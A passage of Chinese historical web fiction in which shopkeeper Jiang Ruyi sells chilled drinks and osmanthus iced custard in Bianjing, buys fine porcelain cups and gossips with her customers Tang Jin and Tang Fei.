姜如意又向客人介绍除了乌梅饮之外，今日还推出了冰镇紫苏饮、冰镇绿豆汤和桂花冰酥酪，客人们可以按照喜好挑选。 这些客人们早就按捺不住了，见可以开始点了，纷纷喊道：“姜小娘子，这桌来两杯乌梅饮。” “小娘子，要一碗冰镇绿豆汤。” “要一大扎紫苏饮子，姜小娘子，我们这桌人多，里面多加些冰。” 姜如意听了，回头对着那桌客人笑道：“客人，杯子的容量都是一样的，若是冰加多了，里面的饮子可就少了。” 她这句略带点俏皮的话一出，满堂的客人们皆笑了起来，纷纷点头说还真是如此。 说话的那桌客人也跟着笑起来，笑完之后又用手抓抓头发，一副苦恼的表情。 姜如意体贴的建议道：“倒不如先给客人加一部分冰，等里面的冰化了，再加新的如何？” 那客人听完连连点头，直说这个方法好，姜小娘子当真聪慧。 姜如意笑眯眯的收下这夸奖，她又请客人们稍等片刻，然后将盛好的饮子一一端到客人桌上。 等忙完了这一阵子，姜如意倚在柜台后面，活动了一下发酸的手腕。 她看一眼铺子中，喝着饮子心满意足的客人们，感受着周围凉爽的空气，脸上露出个笑容来。 这一天下来，几乎每一桌来吃饭的客人，都要点上两三杯饮子，边喝还边赞叹的点头。 尤其那改良之后的乌梅饮，客人们喝过一次，便向姜如意竖起一个大拇指，说这味道比城中其它酒楼中的都要好喝。 跟先前回答清月楼的管事一样，姜如意照例谦虚两句，笑眯眯的收下客人递过来的银钱。 姜如意略算了一下账，发现光这冰饮的收入，每日竟就多了两三百钱。 除此之外，姜如意还发现，来吃饭的男客们，点的多是冰镇绿豆汤和新上的乌梅饮。 女客们则出手更大方些，除了常点的紫苏饮子和乌梅饮之外，更有不少女郎，喜欢那桂花冰酥酪的，特意来了点上一份尝尝。 一份桂花冰酥酪就要二十文钱，价格足足比凉皮贵上一倍还多。 是以这几日里，姜如意脸上的笑容，就一直没停过。 这样贵价的冰饮，容器上也要讲究些，才能配得上富贵的女郎们不是？ 姜如意这样琢磨着，等一得了空，她便去了一趟城东卖瓷器的行市，专门买了几套白瓷花盏回来。 …… 热闹的行市上，瓷器铺老板看着眼前娇俏的小娘子，态度也比对旁人更和善些。 他主动上前询问道：“小娘子要买什么瓷器？无论是花瓶摆件，还是碗碟瓷器，某这铺子里都是数一数二的好。” 姜如意环顾了一圈瓷器铺，果然见里面各种瓷器皆有，质量也比外面那些散卖的摊儿上要好上许多，她点了点头，知道老板所说不假。 姜如意问道：“可有吃饭用的碗盏？样式需得讲究些，最好是专门给女郎们用的。” 瓷器铺老板一听来的是桩大生意，连忙点点头说有。他殷勤的引着姜如意上了二楼，亲自捧出几套碗盏请她过目。 “小娘子看看，这几套皆是如今汴京城里时兴的款式，尤其是那白瓷的，虽然不是定窑的，但色泽釉质皆上佳，况样式也漂亮。” 姜如意看着锦盒中成套的碗盏，从心里面惊叹两声，面上却不显。 她指了其中一款说道：“就这个吧，请问可否多拿几套？” 瓷器铺老板连忙点点头说还有，他让伙计去仓库中拿了，付钱的时候，又做主给姜如意打了折。 姜如意笑眯眯的谢过老板，然后就看一眼这热闹的行市，趁着头顶上的日头还没升到最高，她拉一下挡太阳的帷帽，穿行过绿茵茵的街市，快步朝铺面里走去。 小铺面里，阿芍一见到姜如意带回来的瓷盏，忍不住惊叹了一声，连忙擦干净手，凑上来仔细瞧。 这白瓷花盏和下面的盏托是一套的，通体脂白颜色，瓷胎白皙细腻，瓷壁极薄极透，几乎能够透光。 瓷盏和盏托皆塑成了花瓣形状的，阿芍还伸手数了数，上下皆是六瓣，一眼看上去当真栩栩如生。 阿芍从那白瓷花盏上抬起头来，朝着姜如意感叹：“小娘子，这瓷盏和盏托，模样也太好看了些，价钱一定不便宜吧？” 姜如意朝她笑笑，点了点头：“自然是不便宜，一套就要这个价呢。” 说着，朝阿芍竖起五根手指头。 阿芍倒吸了一口气，连忙退的远些，生怕自己一个不小心，把上面的白瓷花盏打碎了。 然后又好奇的问道：“小娘子要用这个盛桂花冰酥酪吗？” 姜如意点点头，以为阿芍会说太奢侈了。 谁料，却见阿芍重重的点了点头：“值。小娘子做的那桂花冰酥酪，又好吃又好看，用这花朵模样的瓷盏盛了，才算配得上呢。” 姜如意倒是没想到，阿芍平日看上不在意这些，竟然还埋藏着一颗少女心。 她说道：“你若是喜欢，待会儿先给你用这个盛一份。” 阿芍听了双眼亮起来，紧接着想到这是专门买来给客人用的，又不好意思的笑笑，朝姜如意摆了摆手。 “我先帮着小娘子洗碗吧。” 姜如意看看那些瓷盏，确实要先洗干净了，用水烫过才好给客人们用。 她点了点头，伸手拍拍阿芍的肩膀：“行，那就等咱们洗完了再吃。” 阿芍欢快的“哎”了一声，抢在姜如意前面进了厨房。 …… 下午时分，当唐锦带着唐飞一起迈进来，恰好吃上了这用白瓷花盏盛着的桂花冰酥酪。 只见脂白色的花形瓷盏内，盛着一层厚厚的冰碎，冰碎上面是乳白色散发着香甜的酥酪，再上面是半透明的桂花蜜，花蜜微微流淌下来一点，渗入最下面的冰碎中。 用勺子舀上一口，花蜜配着酥酪夹杂着碎冰，自口中融化开来，让人神清气爽，忍不住再吃第二口。 唐锦吃着这香甜清爽的桂花冰酥酪，感受着冰桶中冒出来的阵阵 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唐飞开口：“便是乌梅饮吧，劳烦姜小娘子。” 姜如意点一下头，起身给他倒了一杯冰镇乌梅饮，然后又重新坐回座位里。 “郎君若是喝完了，可以自己去倒。”姜如意说着，朝唐飞指了指长条桌的方向。 唐飞点点头，俊秀的脸庞上带了些汗水，他伸手擦一下汗。 唐锦从一旁笑眯眯的抬起脸来，朝姜如意说道：“上回端午节，庄三娘自大相国寺回去之后，听说发了好大的脾气呢。” 姜如意差点忘了这件事情，此时听唐锦提起，才又想起来。 端午节那日，庄三娘和丁五娘几位小娘子们，结伴去了大相国寺吃斋饭，听说是为了偶遇那位裴少尹。 结果嘛，自然是没遇上。 姜如意十分不厚道的笑笑，好奇的朝唐锦问道：“是因着没遇到裴少尹的原因？” 唐锦点头：“不然还能因为什么？” 姜如意想起那日裴少尹果真去了大相国寺，不过庄三娘她们，那时已经离开了，连忙将这件事说给唐锦听。 唐锦听了之后，“噗嗤”一下子笑出声来，看样子十分幸灾乐祸。 “由此可知，缘分一事十分玄妙。” 唐锦跟姜如意八卦了几句，然后又岔开话题，随意聊些别的。 偶尔看一眼唐飞面前那杯乌梅饮，唐锦伸手指指，好奇的凑过去问道：“你这杯好不好喝？” 唐飞无奈的扫她一眼，将手边那杯还没动过的乌梅饮推给她，然后起身去长条桌前，又给自己倒了一杯。 唐锦笑嘻嘻的接过那乌梅饮，沿杯口喝了一小口，然后开心的点头：“这个也好喝。” 姜如意看看对面一副笑容可掬的唐锦，又看看旁边无奈中又带了点宠溺的唐飞。 她咽下一口冰酥酪，十分八卦的眨眨眼睛。 一直到吃完碗里的桂花冰酥酪，又喝了两杯乌梅饮，唐锦才朝姜如意挥挥手，同唐飞一起离开。 姜如意看着柜台上，唐锦留下的那沉甸甸的银钱，笑眯眯的收了起来。 清晨，小铺面中来了位陌生的客人。 这人约莫三十上下，穿一身皂色缘边袍子，瞧着倒像是谁家的管事。 姜如意见那管事在门外向里张望，连忙走过去，客气的问道：“客人是要买什么吃食吗？” 那管事和善的朝姜如意开口：“可是小庵堂里，做糯米糕的姜小娘子？” 姜如意点点头说是，又答说若是要买糯米糕，却需要多等一会儿。 如今厨房里，每日都有提前泡好的糯米，需要的时候只需要上锅蒸熟，十分的方便。倒是里面的馅料共有好几种，姜如意又问要哪几种馅料的，每种数量要多少。 那管事显然是听了主家的吩咐来的，说家主人今日宴客，来的客人都是郎君，便要咸口的吧。 姜如意点点头应下。 管事说完了糯米糕，又指了指那冰饮问道：“请问小娘子，那冰饮能否一同打包外带？” 姜如意点点头：“可以是可以，但不知道贵主人家里离的近不近，若是远了，里面加了冰，怕是半路上就化了，口感上便不好。” 那管事想了想，说道：“那就只要一罐乌梅饮，里面不用搁冰。” 姜如意说了声好，她请管事在外面稍坐，自己进了厨房里面做那咸口的糯米糕。 厨房里，阿芍好奇的朝外面望望：“小娘子，那客人瞧着倒眼生的紧。” 姜如意也觉得对方眼生，不过她又摇摇头：“既然是来买糯米糕的，想来是从前的旧客人，你没见过也正常。” 阿芍应了一声，她搬了个小凳子过来，坐在一旁，帮着姜如意剥咸鸭蛋。 这一批鸭蛋腌的极好，将外面青色的蛋壳敲开，只轻轻用手一剥，便有油脂顺着壳流下来。 阿芍瞧着那色泽油亮的鸭蛋黄，忍不住咽了一口口水：“小娘子，咱们待会儿的朝食，就吃这咸鸭蛋吧？”